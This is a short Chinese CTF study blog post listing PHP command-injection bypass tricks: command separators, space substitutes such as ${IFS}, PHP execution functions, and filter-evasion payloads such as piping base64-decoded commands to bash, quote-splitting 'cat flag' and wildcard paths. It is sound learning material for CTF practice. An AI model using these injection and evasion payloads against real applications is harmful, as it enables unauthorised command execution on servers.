CTF萌新日记——绕过

PHP 命令执行 总结 以及 绕过

1、管道符 绕过

Windows下

|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux 下

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

2、空格绕过

> < <> 重定向符
%09`(需要php环境)
${IFS} $IFS$9 $IFS$9 表空格
{cat,flag.php} //用逗号实现了空格功能
%20 空格
%09 制表符
%0a 换行符
%0d 回车

3、命令执行函数

system() 执行有回显,将执行结果输出到页面上
passthru()执行有回显,将执行结果输出到页面上
exec()	exec()函数执行无回显,默认返回最后一行结果
shell_exec() shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面
    
popen(string $command , string $mode) 
函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写,函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
proc_open() Popen函数类似,但是可以提供双向管道

4、正则绕过

拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d

base64编码

echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash (在bash被过滤的情况下可尝试sh)

单引号、双引号

c""at fl''ag

反斜线

c\at fl\ag

正则 (假设/bin/cat: test: 是一个目录)

/???/?[a][t] ?''?''?''?''`
/???/?at ????`
/???/?[a]''[t] ?''?''?''?''

内置变量 Linux有大量的内置变量 传送门

 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
$$ 是脚本运行的当前进程ID号
$? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误

内置变量构造

在linux中可以用~获取变量的最后几位
{PATH:开始位:截取字符}

操作如图
在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值